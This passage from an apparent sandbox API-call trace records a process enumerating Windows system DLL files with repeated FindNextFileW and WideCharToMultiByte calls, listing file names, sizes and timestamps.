lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.940] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.940] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.940] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0xa9c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0136.940] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0xa9c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0136.940] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0136.940] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.940] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.941] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.941] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.941] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.941] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.941] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0xa9c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0136.941] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.941] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0136.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0xa9c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0136.941] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0136.942] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.942] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.942] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.942] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.942] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0xa9c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0136.942] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.942] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.942] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0136.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, 